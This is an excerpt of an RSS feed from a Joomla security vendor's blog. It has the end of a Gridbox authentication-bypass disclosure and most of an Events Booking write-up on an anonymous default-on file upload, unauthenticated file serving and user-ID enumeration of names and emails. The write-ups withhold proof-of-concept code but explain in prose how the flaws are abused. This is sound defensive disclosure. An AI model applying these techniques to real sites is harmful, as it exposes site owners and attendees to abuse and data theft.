&lt;p&gt;This was the first of a run. On 29 July 2026 Balbooa shipped 2.20.2, fixing &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;another 23 vulnerabilities we found in an audit&lt;/a&gt;, several of them already being exploited. On 21 September 2026, 2.20.3.1 fixed an &lt;a href=&quot;https://mysites.guru/blog/gridbox-author-sql-injection/&quot;&gt;unauthenticated blind SQL injection in the blog author parameter&lt;/a&gt;, found by an outside researcher. On 8 October 2026, 2.20.4.0 fixed a &lt;a href=&quot;https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/&quot;&gt;CSRF flaw in language installation and an image preview path check&lt;/a&gt;. If you are reading this on an old version, update straight to 2.20.4.0, which fixes all of it.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one. Joomla runs on thousands of third-party extensions, and the ones that touch authentication or accept anonymous input keep producing findings like this. The hard part is knowing a fix exists at all, which in this case the vendor has made unusually difficult, then knowing which of your sites are affected and getting to them first, not the update itself.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Our own assessment; tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt; via the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated, exploitable over the internet in a single request, with no user interaction, yielding a Super User account. On Joomla that reaches PHP execution through template editing, so confidentiality, integrity and availability all fall, for the site and usually for the hosting account behind it.&lt;/p&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Single request&lt;/span&gt;&lt;span&gt;Full Super User takeover&lt;/span&gt;&lt;span&gt;Leads to code execution&lt;/span&gt;&lt;span&gt;No firewall mitigation&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;Gridbox for Joomla (&lt;code&gt;com_gridbox&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Balbooa (&lt;a href=&quot;https://www.balbooa.com/&quot;&gt;balbooa.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authentication bypass using an attacker-controlled value (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/290.html&quot;&gt;CWE-290&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;CWE-565&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (Critical), our own assessment. The published CVE record scores it 9.4 on a vector requiring high privileges, which does not match what we reproduced. See the note below&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt; (assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;). The published record gives the affected range as ”&amp;lt; 1.6.0”. See the note below&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Unauthenticated takeover of any account, including Super User, leading to code execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Confirmed in&lt;/td&gt;&lt;td&gt;2.20.0.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Not published by the vendor. Treat everything below 2.20.1 as affected&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;2.20.1, released 20 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;A note on the published CVE record&lt;/h2&gt;
&lt;p&gt;The record for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61425/&quot;&gt;CVE-2026-61425&lt;/a&gt; has since published, and two fields in it do not match what we reported and reproduced.&lt;/p&gt;
&lt;p&gt;It describes the issue as an “authenticated bypass” and scores it &lt;strong&gt;9.4 Critical&lt;/strong&gt; on a CVSS 4.0 vector with &lt;code&gt;PR:H&lt;/code&gt;, meaning high privileges are needed before the attack works. We reproduced it with &lt;strong&gt;no account and no session at all&lt;/strong&gt;: one cookie on an anonymous request returned a Super User session. On our reading the vector is &lt;code&gt;PR:N&lt;/code&gt;, which is what takes the score to 10.0.&lt;/p&gt;
&lt;p&gt;The record also gives the affected range as &lt;strong&gt;“Gridbox &amp;lt; 1.6.0”&lt;/strong&gt;. We confirmed the flaw in &lt;strong&gt;2.20.0.1&lt;/strong&gt;, and Balbooa fixed it in &lt;strong&gt;2.20.1&lt;/strong&gt;, so that range excludes every version we actually tested, including the one the vendor patched.&lt;/p&gt;
&lt;p&gt;We are keeping our own account here because we proved it live. If you are deciding what to do about a Gridbox install, use the versions in this post rather than the range in the record.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; Balbooa ships the unrelated Forms fix, and reviews its other products The file upload flaw in Balbooa Forms, later CVE-2026-56291, was also reported by mySites.guru. Fixing it prompted the vendor to look at the rest of the range.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; Balbooa contacts us unprompted and sends a build to test The vendor says the earlier report prompted a review, that Gridbox has been hardened, and invites us to test the package.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; We find the authentication bypass in the hardened build Reported back to Balbooa the same day, copying the Joomla Security Strike Team, with the advice that every site running the extension should be treated as compromiseable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; Balbooa acknowledges the report and asks us to quote for a paid audit The request is for a commercial security audit of Gridbox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; We decline the paid audit and restate the fix must come first We ask for a fixed build in order to verify it, and offer to coordinate the disclosure and the CVE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; Gridbox 2.20.1 is published without notice to us The fix ships without asking for verification. We learn of the release from the Joomla Security Strike Team. The changelog calls it a &quot;Critical authentication vulnerability&quot; with no affected version range, and no announcement appears on the Gridbox blog.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; CVE-2026-61425 is assigned, and we flag every affected site Every connected site below 2.20.1 is flagged against our vulnerability rules, and we publish this write-up with no proof of concept.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;Another 23 critical vulnerabilities in Gridbox&lt;/a&gt; - the full audit that followed this disclosure, and the reason 2.20.1 is no longer enough.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Our Balbooa Forms disclosure&lt;/a&gt; - the same vendor, the flaw that started this, and the reason they invited us to look at Gridbox.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking: anyone could upload files to your server&lt;/a&gt; - a different vendor with the same communications problem, published last week.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla extension vulnerabilities&lt;/a&gt; - the full run of findings this has been part of.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/290.html&quot;&gt;CWE-290: Authentication Bypass by Spoofing&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/565.html&quot;&gt;CWE-565: Reliance on Cookies without Validation and Integrity Checking&lt;/a&gt; - the official references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; and the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - what the disclosure process is supposed to look like.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/help/gridbox-documentation/basics/changelog-2-x&quot;&gt;Gridbox changelog&lt;/a&gt; - where 2.20.1 is documented, in three words.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/gridbox-critical-authentication-bypass.png" length="0" type="image/png"/></item><item><title>Events Booking for Joomla: Anyone Could Upload Files to Your Server</title><link>https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/</link><guid isPermaLink="true">https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/</guid><description>mySites.guru found two unauthenticated flaws in Events Booking for Joomla: file upload enabled by default, and a leak of every user&apos;s name and email.</description><pubDate>Mon, 20 Jul 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking&lt;/a&gt; is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, which means the accounts on the site belong to real attendees who gave over their details to book something. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru found two unauthenticated vulnerabilities in Events Booking and reported them privately to JoomDonation.&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Finding one&lt;/p&gt;&lt;p&gt;Simply having Events Booking installed meant any anonymous visitor could upload files to your web server.&lt;/p&gt;&lt;p&gt;No account, no login, no CSRF token, enabled by default on every install.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Secondly, an access control flaw that returned &lt;strong&gt;any user’s name and email address&lt;/strong&gt; to anyone who asked for it by user ID.&lt;/p&gt;
&lt;p&gt;If you run Events Booking on any Joomla site, update to &lt;strong&gt;5.8.1&lt;/strong&gt; now, not 5.8.0. On Joomla 3 the fixed version is &lt;strong&gt;4.9.5&lt;/strong&gt;, which is not in the public downloads area.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them privately to JoomDonation, copying the Joomla Security Strike Team. Fixes shipped in Events Booking 5.8.0 and 5.8.1. We are withholding the exact requests and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anyone could upload files to your server.&lt;/strong&gt; A front-end endpoint accepted uploads from anonymous visitors with no login and no CSRF token, &lt;strong&gt;enabled by default&lt;/strong&gt; on every install. The vendor has confirmed the default in writing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;And the site serves it back out again.&lt;/strong&gt; For image extensions the matching download endpoint had no login check either, and filenames were not randomised, so an attacker uploaded under a name they chose and then fetched it from a URL they already knew. Anonymous in, anonymous out: a working file hosting service on your domain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;That is your name on the hosting contract.&lt;/strong&gt; Free anonymous storage attracts pirated media, phishing kits, malware staged for other attacks, and illegal imagery, all served from your domain and billed to you. We have seen this arrive as a hosting abuse report before&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Customers were emailed that it is “a security improvement rather than a vulnerability”&lt;/strong&gt; on 20 July, three days after the Joomla CNA assigned it a CVE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anyone could read every user’s name and email.&lt;/strong&gt; A second public endpoint returned a user’s first name, last name and email address as JSON for any user ID passed to it, with no ownership check. Count up through the IDs and you have the whole user table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The vendor told us repeatedly that the upload was not a security issue.&lt;/strong&gt; The Joomla CNA assigned it &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; regardless, describing it in those exact terms&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then came the fixes for the non-issue the developer stated did not exist. Funny, that.&lt;/strong&gt; Across 5.8.0 and 5.8.1 that endpoint gained a CSRF token, a per-field permission check, per-session and per-minute rate limits, folder size and file count caps, real image content validation, randomised filenames and an admin tool to clean up the files it had already accepted&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We were then asked, more than once, to keep quiet about it&lt;/strong&gt;, each time after a release had shipped and, on the second occasion, after every customer had already been emailed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5.8.1 is the version to be on.&lt;/strong&gt; 5.8.0 closed the two reported flaws; 5.8.1 is where the upload hardening actually happened&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Two different packages shipped as “5.8.0”.&lt;/strong&gt; The vendor rebuilt it mid-afternoon on 15 July without changing the version number, so updating early got you the weaker build with no way to tell&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 users need 4.9.5, which is not in the public downloads area.&lt;/strong&gt; Configure a Download ID and use Joomla’s updater, or open a support ticket&lt;/li&gt;
&lt;li&gt;Three CVEs assigned via the Joomla CNA: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58149/&quot;&gt;CVE-2026-58149&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60025/&quot;&gt;CVE-2026-60025&lt;/a&gt;, all crediting Phil Taylor of mySites.guru&lt;/li&gt;
&lt;li&gt;Across the Events Booking installs we can see on our customers’ sites, &lt;strong&gt;not one was running the current release&lt;/strong&gt;, and roughly three quarters were a whole major version behind&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Finding one: anonymous file upload, on by default&lt;/h2&gt;
&lt;p&gt;Events Booking supports File custom fields, so an event organiser can ask registrants to attach something during sign-up: a photo, a signed waiver, a proof of eligibility. The upload runs over an AJAX endpoint on the front end.&lt;/p&gt;
&lt;p&gt;In Events Booking 5.7.1 and earlier, that endpoint had no login check and no CSRF token. It took whatever file it was given, checked the extension against the configured attachment allow-list, and wrote it into &lt;code&gt;media/com_eventbooking/files&lt;/code&gt;. Crucially, it did not check whether the site was even asking for uploads. The endpoint was live on every install from the moment the component was present, whether or not the administrator had ever created a File field.&lt;/p&gt;
&lt;p&gt;That last point is the vendor’s own, given to the Joomla Security Strike Team on 17 July:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation, to the Joomla Security Strike Team, 17 July&lt;/p&gt;&lt;div&gt;&lt;p&gt;It was enabled by default in previous versions. From 5.8.0, it will only be enabled if admin creates custom field to allow registrants to upload file when they register for the event.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The Joomla CNA description of &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; puts the same fact in the official record: &lt;em&gt;“The Joomla extension Events Booking prior version 5.8.0 did by default allow unauthenticated users to upload media assets.”&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;What that actually buys an attacker&lt;/h3&gt;
&lt;p&gt;The allow-list is what keeps this from being a critical finding. The shipped default is &lt;code&gt;bmp|gif|jpg|png|swf|zip|doc|pdf|xls&lt;/code&gt;, which &lt;strong&gt;does not include a PHP extension&lt;/strong&gt;. The extension check reads the last segment of the filename, Joomla’s own filename sanitising is applied, and the usual double-extension and traversal tricks do not get through.&lt;/p&gt;
&lt;p&gt;So on a default configuration this stops short of remote code execution. On a site whose administrator has widened the allow-list to include an executable type, which is unusual but not unheard of where sites accept unusual attachments, it becomes a straightforward unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Read that default list again with an attacker’s eyes rather than an event organiser’s, though. &lt;code&gt;zip&lt;/code&gt;, &lt;code&gt;doc&lt;/code&gt;, &lt;code&gt;xls&lt;/code&gt; and &lt;code&gt;pdf&lt;/code&gt; are no threat to the server itself. They are close to ideal for distributing malware from a domain no one has any reason to block, and &lt;code&gt;doc&lt;/code&gt; and &lt;code&gt;xls&lt;/code&gt; have been the standard carriers for macro payloads for twenty years.&lt;/p&gt;
&lt;p&gt;This is not the file upload RCE we found in &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;, and we are not going to pretend it is; it is a stranger with write access to your file system, which is quite bad enough.&lt;/p&gt;
&lt;h3&gt;The site will also serve it back for you&lt;/h3&gt;
&lt;p&gt;The upload is only half of it, and the other half is the part that turns a storage problem into a distribution problem.&lt;/p&gt;
&lt;p&gt;Events Booking exposes a matching front-end endpoint that reads files back out of that same folder. In 5.8.0 and earlier its permission logic ran like this: if the filename ends in &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt; or &lt;code&gt;webp&lt;/code&gt;, the file is served to whoever asked for it, with &lt;strong&gt;no login check at all&lt;/strong&gt;. Only the other extensions fall through to the ownership and permission checks underneath.&lt;/p&gt;
&lt;p&gt;That test was on the extension, never the contents. Before 5.8.1 nothing verified the file was actually an image, and nothing randomised the stored filename, so the attacker chose the name they uploaded under and therefore already knew the URL to fetch it back from. The endpoint even takes an &lt;code&gt;inline&lt;/code&gt; parameter from the caller, so the attacker picks whether the browser displays the file or downloads it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Both parts together&lt;/p&gt;&lt;p&gt;Before 5.8.1, Events Booking would accept a file from an anonymous stranger and then serve that same file back to the entire internet, at a filename the stranger chose, with no one logged in at either end.&lt;/p&gt;&lt;p&gt;That is not a side effect of a file upload bug. It is a complete, working, anonymous file hosting service running on your domain and your bandwidth, which you did not know you were operating.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This does have a ceiling. The response declares a content type worked out from the extension, so a &lt;code&gt;.jpg&lt;/code&gt; goes out as &lt;code&gt;image/jpeg&lt;/code&gt;, and current browsers will not run a script out of that, which makes the direct cross-site scripting route weak. As free unattributable hosting on a reputable domain with a valid certificate, it works exactly as an abuser would want.&lt;/p&gt;
&lt;p&gt;Both parts were tightened in 5.8.1: filenames are now randomised on upload, and the download path validates that a file really is an image before serving it inline.&lt;/p&gt;
&lt;h3&gt;A stranger with write access to your file system&lt;/h3&gt;
&lt;p&gt;Code execution is the loudest thing an unauthenticated upload buys an attacker, and treating it as the only one that counts is how this kind of finding gets waved through. The vendor’s own changelog describes the risk as someone uploading files “to abuse server quota for some reasons”. Server quota is the least of it.&lt;/p&gt;
&lt;p&gt;Anonymous, unattributable file storage on somebody else’s infrastructure is a commodity, and people go looking for it. An open upload endpoint on a legitimate business domain is close to ideal for that: it costs nothing, it is not registered to anyone, the bandwidth is billed to a stranger, and the content inherits the reputation of a real site with a real TLS certificate that no filter has any reason to block.&lt;/p&gt;
&lt;p&gt;What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a real company domain than when it is a disposable host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including sexual content and material involving children, parked somewhere the people trading it will not be traced.&lt;/p&gt;
&lt;p&gt;I should be straight about the limits of that list. I am not a hacker. I do not think the way they think, and every time I have looked closely at a real compromise the actual use has been more inventive than anything I would have predicted. People who do this for a living are extremely good at finding free storage where they will not get caught, and they will find uses for your upload folder that have not occurred to me.&lt;/p&gt;
&lt;p&gt;The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations that are considerably more serious than a hosting suspension.&lt;/p&gt;
&lt;p&gt;At the far end of that road is the police at your door, because a Joomla extension on your site let a stranger store illegal material on it. That does happen. It happens to ordinary small business websites run by people who did nothing reckless, because an open upload form on a real company domain is exactly the sort of place that content gets parked. The person who has to answer for it is whoever’s name is on the domain, and “the form needed no login” is a poor opening line for that conversation.&lt;/p&gt;
&lt;p&gt;We have watched this happen. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt; we disclosed this month did not come to us from a code audit. It came from a Hetzner abuse report sent to one of our customers, who brought us the raw access log. That is what an anonymous upload endpoint looks like from the owner’s side: a message from your host telling you your server has been doing something you knew nothing about.&lt;/p&gt;
&lt;p&gt;The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory that no one has any reason to open, attached to no registration, and the site keeps serving events exactly as it did before.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;Do this after you update&lt;/p&gt;&lt;p&gt;5.8.1 ships a tool that finds and deletes every file in the upload folder with no matching registration record.&lt;/p&gt;&lt;p&gt;Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Finding two: every user’s name and email&lt;/h2&gt;
&lt;p&gt;The second endpoint is a textbook &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;insecure direct object reference&lt;/a&gt;. Hand it a user ID and it returns that user’s stored registration details. Where the person never registered for anything, the code falls back to loading the Joomla user account directly and returns their &lt;strong&gt;first name, last name and email address&lt;/strong&gt; as JSON anyway.&lt;/p&gt;
&lt;p&gt;Nothing in that path checked who was asking. No login check, no CSRF token, and critically no ownership check: the code never asked whether the requester was the user whose details were being returned. The component’s own JavaScript only ever calls this endpoint for the currently logged-in user, so in normal use it looks harmless. The server never enforced what the browser assumed.&lt;/p&gt;
&lt;p&gt;An attacker requests user ID 1, then 2, then 3, and keeps counting. Each request returns one person’s name and email. There was no rate limit and no authentication, so a short script walks the entire user table in minutes.&lt;/p&gt;
&lt;p&gt;The user ID is cast to an integer before it goes near the database, so there is no SQL injection here and no way to bend the query. This is purely an authorisation failure. The code asked the database a perfectly sensible question and gave the answer to the wrong person.&lt;/p&gt;
&lt;h3&gt;Why enumeration matters more than it sounds&lt;/h3&gt;
&lt;p&gt;“Names and email addresses” sounds like the mild end of a breach, and compared to a database of password hashes it is. That framing undersells it for three reasons.&lt;/p&gt;
&lt;h4&gt;Targeted, not random&lt;/h4&gt;
&lt;p&gt;These are the verified contact details of people who signed up on a specific site for a specific thing. An attacker who knows you booked onto a named event at a named organisation can write a phishing email that reads exactly like the follow-up you are expecting. That is worth far more than a bulk address list, and it prices accordingly.&lt;/p&gt;
&lt;h4&gt;A shopping list for the next attack&lt;/h4&gt;
&lt;p&gt;Enumeration is reconnaissance. Once an attacker has every username and email on a Joomla site, credential stuffing has real targets, password reset flows have real addresses to abuse, and the administrator accounts stand out immediately.&lt;/p&gt;
&lt;h4&gt;Your users are your customers&lt;/h4&gt;
&lt;p&gt;On an events site, unlike a brochure site where a leaked user table might be three staff logins, the users are the customers.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;p&gt;This is a reportable data breach&lt;/p&gt;&lt;p&gt;On a busy Events Booking install it is every attendee who ever registered, which under the UK GDPR and the EU GDPR is personal data you are the controller of.&lt;/p&gt;&lt;p&gt;An unauthenticated stranger reading it is a personal data breach, and one you are expected to assess and potentially report to your regulator within 72 hours.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;Enumeration leaves almost no trace. The requests are ordinary GET requests to index.php that return a normal 200 response, so in an access log they look like a visitor browsing the site quickly. There is usually no error, no alert and nothing in the Joomla logs. If you are wondering whether anyone did this to your site, the answer for most sites is that you cannot tell from the logs alone.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;“To me, this is not really a security issue”&lt;/h2&gt;
&lt;p&gt;Part of deciding whether to trust an extension is watching what the vendor does when someone hands them a security problem. On the enumeration flaw JoomDonation moved fast and added the missing permission check without argument, and they deserve credit for that.&lt;/p&gt;
&lt;p&gt;The upload went differently.&lt;/p&gt;
&lt;p&gt;The vendor’s position, held across several days and multiple emails, was that the finding was invalid. The argument was that because the endpoint is meant to be public, a CSRF token adds nothing:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation&apos;s reply&lt;/p&gt;&lt;div&gt;&lt;p&gt;The point here is this is public end point to allow public users (registrants) to upload files while they register for event. It is not something restricted for admin, so it is not necessary for attackers to use to use an external site to perform upload.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And again, thirteen minutes later:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation, thirteen minutes later&lt;/p&gt;&lt;div&gt;&lt;p&gt;I wonder why someone has to use an external site malicious website website to make a request like that for a public accessible form? What prevent them from make request directly to that public form?&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We quote these exactly as written, duplicated words included. English is not the developer’s first language and we are not making a point about the phrasing. The point is the position, which was maintained clearly and consistently: this is public, therefore a token is pointless, therefore there is no bug.&lt;/p&gt;
&lt;p&gt;The Joomla Security Strike Team, copied on the thread throughout, disagreed on the record:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The Joomla Security Strike Team&lt;/p&gt;&lt;div&gt;&lt;p&gt;I disagree with your assessment on the CSRF issue: a file upload is a mutating operation and should be protected with a CSRF token check. Otherwise, I could trick a site admin on an external site to submit a form and having that form targeted to the website that the admin is managing. If the admin has an active session, the upload will be performed.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When the vendor pushed back a second time, the JSST reply opened: &lt;em&gt;“You are wrong :)”&lt;/em&gt;, followed by a step-by-step walkthrough of what cross-site request forgery actually is.&lt;/p&gt;
&lt;p&gt;The objection misses what the token is for. It stops a third-party site from making your visitors upload files without their knowledge, which is a different attack from an attacker calling the endpoint directly. Both are real. Fixing one does not answer the other. And neither addresses the bigger problem, which was never the token: it was that the endpoint accepted files from strangers at all, on every install, by default.&lt;/p&gt;
&lt;p&gt;The 5.8.0 announcement, as originally published, put the vendor’s view in writing: &lt;em&gt;“To me, this is not really a security issue, but since it is reported, I have it fixed/improved anyway.”&lt;/em&gt; The same announcement, a few lines earlier, described the release as fixing &lt;em&gt;“two medium security issues”&lt;/em&gt;. Both statements cannot be true at once. That sentence, along with a claim that the first issue had been fixed before we reported it, was removed from the announcement three minutes after we put the two quotes to the vendor and said they were wrong. No correction note was added. We screenshotted the original beforehand, which is the only reason this paragraph can be written.&lt;/p&gt;
